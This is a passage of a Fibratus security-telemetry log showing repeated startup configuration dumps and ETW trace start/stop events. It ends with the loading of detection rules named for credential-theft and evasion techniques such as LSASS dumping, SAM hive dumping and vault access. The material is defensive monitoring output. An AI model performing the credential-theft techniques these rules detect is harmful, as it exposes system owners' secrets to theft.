enable-registry=>true enable-audit-api=>true buffer-size=>512 enable-image=>true enable-fileio=>true max-buffers=>36 enable-mem=>false enable-thread=>true enable-net=>true enable-threadpool=>false enable-handle=>false flush-interval=>1s enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 log-stdout=>true max-age=>0 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ exchange-type=>topic passive=>false timeout=>5s durable=>false exchange=>fibratus enabled=>false delivery-mode=>transient url=>amqp://localhost:5672] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ serializer=>json enabled=>false endpoints=>[] timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false method=>POST] elasticsearch=>[ template-name=>fibratus flush-period=>1s healthcheck-interval=>10s gzip-compression=>false healthcheck=>true sniff=>false timeout=>5s healthcheck-timeout=>5s enabled=>false bulk-workers=>1 index-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200]]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false excluded-procs=>[] scan-timeout=>10s skip-registry=>false skip-mmaps=>false enabled=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T16:50:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:50:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:50:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:50:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T16:50:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T16:57:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T16:57:18+01:00 level=info msg=bootstrapping with pid 17412. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T16:57:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ min-buffers=>16 stack-enrichment=>true enable-handle=>false enable-fileio=>true enable-audit-api=>true enable-mem=>false max-buffers=>36 buffer-size=>512 enable-registry=>true enable-dns=>false enable-thread=>true enable-threadpool=>false flush-interval=>1s enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info log-stdout=>true max-size=>100 max-age=>0 formatter=>text] + output ......................... [ http=>[ tls-insecure-skip-verify=>false method=>POST endpoints=>[] serializer=>json enable-gzip=>false enabled=>false timeout=>5s] amqp=>[ timeout=>5s routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic durable=>false enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/] elasticsearch=>[ healthcheck-timeout=>5s enabled=>false index-name=>fibratus sniff=>false template-name=>fibratus trace-log=>false bulk-workers=>1 healthcheck=>true servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s timeout=>5s gzip-compression=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false skip-mmaps=>false scan-timeout=>10s fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-registry=>false skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T16:57:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:57:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:57:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:57:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T16:57:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T16:58:27+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T16:58:27+01:00 level=info msg=bootstrapping with pid 5708. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T16:58:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-net=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-registry=>true max-buffers=>36 enable-fileio=>true flush-interval=>1s enable-thread=>true enable-vamap=>true enable-audit-api=>true enable-handle=>false enable-threadpool=>false stack-enrichment=>true enable-dns=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text level=>info log-stdout=>true max-size=>100] + output ......................... [ amqp=>[ vhost=>/ passive=>false url=>amqp://localhost:5672 durable=>false exchange-type=>topic timeout=>5s enabled=>false tls-insecure-skip-verify=>false delivery-mode=>transient routing-key=>fibratus exchange=>fibratus] elasticsearch=>[ enabled=>false index-name=>fibratus healthcheck-interval=>10s timeout=>5s healthcheck-timeout=>5s bulk-workers=>1 flush-period=>1s template-name=>fibratus gzip-compression=>false sniff=>false trace-log=>false healthcheck=>true servers=>[http://127.0.0.1:9200]] http=>[ enabled=>false enable-gzip=>false endpoints=>[] method=>POST serializer=>json timeout=>5s tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-mmaps=>false scan-timeout=>10s skip-registry=>false skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T16:58:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:58:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:58:58+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T16:58:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T16:58:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T16:59:16+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T16:59:16+01:00 level=info msg=bootstrapping with pid 2888. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T16:59:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] port=>25 enabled=>false use-template=>true content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true max-buffers=>36 enable-threadpool=>false enable-net=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-registry=>true enable-mem=>false enable-handle=>false enable-dns=>false enable-audit-api=>true flush-interval=>1s min-buffers=>16 enable-vamap=>true buffer-size=>512 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ bulk-workers=>1 healthcheck=>true template-name=>fibratus timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false index-name=>fibratus healthcheck-timeout=>5s flush-period=>1s trace-log=>false sniff=>false healthcheck-interval=>10s] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s method=>POST enabled=>false endpoints=>[]] amqp=>[ tls-insecure-skip-verify=>false passive=>false routing-key=>fibratus delivery-mode=>transient enabled=>false exchange-type=>topic durable=>false url=>amqp://localhost:5672 vhost=>/ timeout=>5s exchange=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-files=>false fastscan=>true skip-registry=>false skip-allocs=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T16:59:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T16:59:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:05:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T17:05:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:05:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:06:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T17:06:53+01:00 level=info msg=bootstrapping with pid 16288. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T17:06:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ min-buffers=>16 max-buffers=>36 enable-threadpool=>false enable-handle=>false enable-image=>true enable-net=>true enable-vamap=>true enable-dns=>false enable-registry=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-audit-api=>true flush-interval=>1s buffer-size=>512 enable-thread=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-age=>0 max-backups=>15 max-size=>100 level=>info] + output ......................... [ http=>[ enable-gzip=>false method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json timeout=>5s] elasticsearch=>[ healthcheck=>true template-name=>fibratus gzip-compression=>false trace-log=>false bulk-workers=>1 index-name=>fibratus enabled=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-timeout=>5s sniff=>false timeout=>5s] amqp=>[ vhost=>/ enabled=>false timeout=>5s routing-key=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient exchange=>fibratus durable=>false url=>amqp://localhost:5672] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-allocs=>false enabled=>false scan-timeout=>10s skip-files=>false skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-12-10T17:06:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:06:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:07:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T17:07:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:07:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:08:16+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T17:08:16+01:00 level=info msg=bootstrapping with pid 6780. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T17:08:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ port=>25 to=>[] use-template=>true enabled=>false content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-thread=>true enable-registry=>true enable-fileio=>true enable-dns=>false enable-handle=>false min-buffers=>16 buffer-size=>512 enable-audit-api=>true max-buffers=>36 enable-vamap=>true enable-net=>true flush-interval=>1s enable-threadpool=>false enable-mem=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text max-age=>0 max-size=>100 level=>info log-stdout=>true] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ exchange-type=>topic delivery-mode=>transient timeout=>5s routing-key=>fibratus exchange=>fibratus passive=>false url=>amqp://localhost:5672 durable=>false vhost=>/ enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ sniff=>false index-name=>fibratus trace-log=>false flush-period=>1s bulk-workers=>1 template-name=>fibratus healthcheck-interval=>10s healthcheck=>true timeout=>5s gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[] serializer=>json enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] skip-files=>false skip-registry=>false enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-10T17:08:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:08:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:08:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T17:08:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:08:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:10:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-10T17:10:33+01:00 level=info msg=bootstrapping with pid 10348. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T17:10:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html enabled=>false port=>25 use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-net=>true enable-thread=>true buffer-size=>512 enable-handle=>false stack-enrichment=>true enable-audit-api=>true min-buffers=>16 enable-mem=>false flush-interval=>1s max-buffers=>36 enable-dns=>false enable-fileio=>true enable-registry=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 log-stdout=>true max-size=>100 level=>info] + output ......................... [ amqp=>[ routing-key=>fibratus vhost=>/ exchange-type=>topic passive=>false durable=>false enabled=>false url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient] elasticsearch=>[ bulk-workers=>1 healthcheck-timeout=>5s trace-log=>false enabled=>false sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus timeout=>5s flush-period=>1s healthcheck=>true gzip-compression=>false template-name=>fibratus] http=>[ enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json endpoints=>[] timeout=>5s method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-procs=>[] fastscan=>true skip-files=>false scan-timeout=>10s excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-10T17:10:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:10:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:11:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T17:11:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:11:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:38:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-10T17:38:40+01:00 level=info msg=loading rule from 